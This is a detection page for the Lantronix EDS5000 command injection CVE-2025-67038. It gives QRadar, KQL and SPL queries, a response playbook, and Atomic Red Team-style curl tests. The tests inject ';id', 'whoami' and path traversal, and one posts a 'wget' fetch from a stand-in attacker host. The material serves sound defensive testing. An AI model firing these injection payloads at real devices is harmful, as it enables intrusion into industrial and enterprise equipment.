CVE-2025-67038 IBM QRadar · QRadar

Detect CVE-2025-67038 Lantronix EDS5000 Code Injection Exploitation in IBM QRadar

Detects exploitation attempts targeting CVE-2025-67038, a code injection vulnerability (CWE-78/CWE-94) in Lantronix EDS5000 series device servers. This vulnerability is listed in CISA's Known Exploited Vulnerabilities catalog and allows attackers to inject OS commands or code through the device management interface. The EDS5000 series includes EDS5008, EDS5016, and EDS5032 models commonly deployed as serial-to-network device servers in industrial and enterprise environments.

MITRE ATT&CK

Tactic
Initial Access Execution Lateral Movement

QRadar Detection Query

IBM QRadar (QRadar)
sql 
SELECT
  sourceip,
  destinationip,
  destinationport,
  URL,
  username,
  starttime,
  eventcount,
  QIDNAME(qid) as event_name
FROM events
WHERE
  logsourcetypename(devicetype) IN ('Apache HTTP Server', 'Nginx', 'Juniper Networks Firewall', 'Palo Alto PA Series')
  AND destinationport IN (80, 443, 8080, 9999, 30718)
  AND (
    URL ILIKE '%/cgi-bin/%'
    OR URL ILIKE '%/admin/%'
    OR URL ILIKE '%/manage/%'
    OR URL ILIKE '%/config/%'
  )
  AND (
    URL ILIKE '%;%'
    OR URL ILIKE '%|%'
    OR URL ILIKE '%`%'
    OR URL ILIKE '%%3B%'
    OR URL ILIKE '%%7C%'
    OR URL ILIKE '%%60%'
    OR URL ILIKE '%../%'
  )
  AND LOGSOURCENAME(logsourceid) NOT ILIKE '%scanner%'
  AND LOGSOURCENAME(logsourceid) NOT ILIKE '%pentest%'
LAST 1 HOURS
ORDER BY starttime DESC
critical severity medium confidence

QRadar AQL query for detecting HTTP requests to Lantronix EDS5000 management interfaces containing OS command injection sequences characteristic of CVE-2025-67038 exploitation. Excludes known scanner log sources.

Data Sources

QRadar Network ActivityWeb Application Firewall logsProxy logs

Required Tables

events

False Positives & Tuning

  • Authorized vulnerability scanners not excluded by log source name filters
  • Administrators using shell expansion characters in device configuration
  • Legitimate URL-encoded traffic from management applications
  • Third-party integrations that use REST APIs with special character parameters

Other platforms for CVE-2025-67038

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1CVE-2025-67038 GET-based OS command injection probe

    Expected signal: HTTP request to port 80 with URI containing '/cgi-bin/config.cgi' and query string containing ';id' should appear in firewall, proxy, or web server logs

  2. Test 2CVE-2025-67038 URL-encoded command injection bypass attempt

    Expected signal: HTTP GET request to port 80 containing '%3B' in the query string targeting an admin management path

  3. Test 3CVE-2025-67038 POST-body code injection simulation

    Expected signal: HTTP POST request to port 80 targeting '/manage/apply.cgi' with POST body containing ';wget' command injection — captured in proxy or WAF logs if POST body inspection is enabled

  4. Test 4CVE-2025-67038 path traversal combined with injection

    Expected signal: HTTP GET request containing '../' path traversal sequences combined with 'cmd=id' injection parameter targeting EDS5000 management port

Last updated: 2026-06-24 Research depth: standard
References (4)

Response Playbook

Triage

  1. Identify all Lantronix EDS5000 series devices (EDS5008, EDS5016, EDS5032) in your environment using asset inventory and network scanning; prioritize internet-facing or DMZ-exposed devices
  2. Review web server and firewall logs on detected source IPs for the 24 hours preceding the alert, looking for reconnaissance patterns (port scans, HTTP 404s on management paths) that indicate pre-exploitation activity
  3. Determine if the EDS5000 device firmware version is vulnerable by comparing against the latest firmware published at the Lantronix support page; check device management console for firmware version string
  4. Assess network segmentation: determine if the EDS5000 device has outbound connectivity to the internet or to sensitive internal segments — this determines blast radius if exploitation succeeded
  5. Correlate source IP against threat intelligence feeds and check for previous alerts or blocked connections from the same IP in the past 30 days

Containment

  1. Immediately restrict access to EDS5000 management interfaces (ports 80, 443, 8080, 9999, 30718) via firewall ACLs or network segmentation — limit access to authorized management IPs only using allowlist approach
  2. If active exploitation is confirmed, isolate the affected EDS5000 device from the network by placing it in a quarantine VLAN or disconnecting its network interface until firmware can be patched or replaced
  3. Block the attacker source IP at perimeter firewall and web application firewall for immediate threat containment, and share IOCs with upstream ISP if the attack is ongoing

Evidence Collection

  1. Capture full HTTP access logs from the EDS5000 management interface or upstream proxy/firewall for the relevant time window — preserve the raw log files with hash verification before any remediation
  2. Export network flow data (NetFlow/IPFIX) for all connections to and from the EDS5000 device for the 48-hour window around the alert, including any new outbound connections that may indicate command-and-control activity
  3. If possible, perform a firmware integrity check by downloading the current device firmware image and comparing its hash against the vendor-published expected hash to detect potential firmware tampering

Escalation Criteria

  • !Escalate to incident response immediately if the EDS5000 device shows signs of post-exploitation activity: new outbound connections to external IPs on unexpected ports, changes to device configuration, or serial port traffic manipulation
  • !Escalate if the compromised EDS5000 device is connected to operational technology (OT) or industrial control system (ICS) networks — the device server nature of EDS5000 means serial-connected equipment may be at risk

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >EDS5000 HTTP access logs containing injection payloads in request URIs or POST bodies — typically found in /var/log/ on the device or in upstream proxy logs
  • >Network flow records showing unusual outbound connections from the EDS5000 device IP to external hosts after the exploitation attempt, particularly on ports 4444, 1337, or other common reverse shell ports
  • >Firewall deny/allow logs for connections to EDS5000 management ports that can establish a timeline of reconnaissance versus exploitation phases
  • >Device serial port traffic logs if the EDS5000 was successfully compromised — the attacker may manipulate or eavesdrop on connected serial devices

Tuning Guidance

Start with a high-sensitivity deployment monitoring all requests to ports 80, 443, 8080, 9999, and 30718 destined for known EDS5000 IP ranges. After baseline establishment (5-7 days), refine by excluding known management IP addresses used by authorized administrators. Add exclusions for specific URL patterns used by your monitoring tools. Tune the risk score threshold based on your environment's false positive rate — environments with active EDS5000 management tooling may need to raise thresholds or add additional context requirements. For highest fidelity, integrate with your asset inventory to filter alerts to confirmed EDS5000 device IPs only.

Hunting Queries

Threat hunting query to identify Lantronix EDS5000 devices in the environment receiving anomalous volumes of management interface connections, which may indicate scanning, brute force, or exploitation campaigns targeting CVE-2025-67038 across the fleet

Hunting — KQL
kql 
CommonSecurityLog
| where TimeGenerated >= ago(7d)
| where DestinationPort in (80, 443, 8080, 9999, 30718)
| where DeviceVendor =~ "Lantronix" or DeviceProduct has_any ("EDS5008", "EDS5016", "EDS5032", "EDS5000")
| summarize ConnectionCount=count(), UniqueSourceIPs=dcount(SourceIP), Requests=make_set(RequestURL, 50) by DestinationIP, bin(TimeGenerated, 1h)
| where UniqueSourceIPs > 5 or ConnectionCount > 50
| order by ConnectionCount desc
Hunting — SPL
spl 
index=* (sourcetype="pan:traffic" OR sourcetype="cisco:asa" OR sourcetype="netflow")
| eval dest_ip=coalesce(dest_ip, dst_ip)
| eval dest_port=coalesce(dest_port, dpt)
| where dest_port IN (80, 443, 8080, 9999, 30718)
| stats count as connection_count, dc(src_ip) as unique_sources, values(src_ip) as source_ips by dest_ip, dest_port
| where connection_count > 20 OR unique_sources > 3
| sort - connection_count

Atomic Red Team Tests

Test 1 CVE-2025-67038 GET-based OS command injection probe
linux

Simulates a basic OS command injection probe against a Lantronix EDS5000 management web interface using a GET request with shell metacharacters in a parameter value. This tests whether the detection fires on simple injection syntax.

Command

bash 
curl -sk 'http://TARGET_EDS5000_IP/cgi-bin/config.cgi?param=value;id' -H 'User-Agent: Mozilla/5.0' -o /tmp/eds_test_out.txt 2>&1; echo 'Exit code: '$?

Cleanup

bash 
rm -f /tmp/eds_test_out.txt

Expected Telemetry

HTTP request to port 80 with URI containing '/cgi-bin/config.cgi' and query string containing ';id' should appear in firewall, proxy, or web server logs

Expected Detection

Alert should fire from kql/spl/elastic_eql query detecting ';id' pattern in request URI to port 80 on EDS5000 target IP

Test 2 CVE-2025-67038 URL-encoded command injection bypass attempt
linux

Simulates an evasion attempt using URL-encoded shell metacharacters (%3B for semicolon, %7C for pipe) to bypass simple string-match defenses while still delivering an OS command injection payload.

Command

bash 
curl -sk 'http://TARGET_EDS5000_IP/admin/diagnostics.cgi?host=127.0.0.1%3Bid%3Bwhoami' -H 'User-Agent: Mozilla/5.0' -o /tmp/eds_encoded_out.txt 2>&1; echo 'Exit code: '$?

Cleanup

bash 
rm -f /tmp/eds_encoded_out.txt

Expected Telemetry

HTTP GET request to port 80 containing '%3B' in the query string targeting an admin management path

Expected Detection

Detection should fire on URL-encoded injection pattern '%3B' in request to '/admin/diagnostics.cgi' — tests encoded bypass detection coverage

Test 3 CVE-2025-67038 POST-body code injection simulation
linux

Simulates a POST-based code injection attack (CWE-94) against the EDS5000 configuration endpoint, embedding a command injection payload in a POST form body parameter to test coverage of non-GET injection vectors.

Command

bash 
curl -sk -X POST 'http://TARGET_EDS5000_IP/manage/apply.cgi' -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Mozilla/5.0' -d 'config_field=normal_value;wget+http://attacker.invalid/payload+-O+/tmp/p' -o /tmp/eds_post_out.txt 2>&1; echo 'Exit code: '$?

Cleanup

bash 
rm -f /tmp/eds_post_out.txt

Expected Telemetry

HTTP POST request to port 80 targeting '/manage/apply.cgi' with POST body containing ';wget' command injection — captured in proxy or WAF logs if POST body inspection is enabled

Expected Detection

Detection coverage for POST-body injection depends on whether the log source captures request bodies; confirms detection gap if WAF/proxy does not log POST parameters — useful for identifying logging configuration gaps

Test 4 CVE-2025-67038 path traversal combined with injection
linux

Tests detection of a combined path traversal and command injection attempt against the EDS5000, simulating an attacker chaining directory traversal (CWE-22) with the primary code injection vulnerability to access alternative execution paths.

Command

bash 
curl -sk 'http://TARGET_EDS5000_IP/cgi-bin/../admin/../../cgi-bin/exec.cgi?cmd=id' -H 'User-Agent: Mozilla/5.0' --path-as-is -o /tmp/eds_traversal_out.txt 2>&1; echo 'Exit code: '$?

Cleanup

bash 
rm -f /tmp/eds_traversal_out.txt

Expected Telemetry

HTTP GET request containing '../' path traversal sequences combined with 'cmd=id' injection parameter targeting EDS5000 management port

Expected Detection

Detection should fire on both the '../' traversal pattern and the '?cmd=' injection pattern — tests compound payload detection

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0008Lateral Movement

Related Techniques

T1190Exploit Public-Facing ApplicationT1059Command and Scripting InterpreterT1021Remote Services

Same Tactic: Initial Access

Popular Detections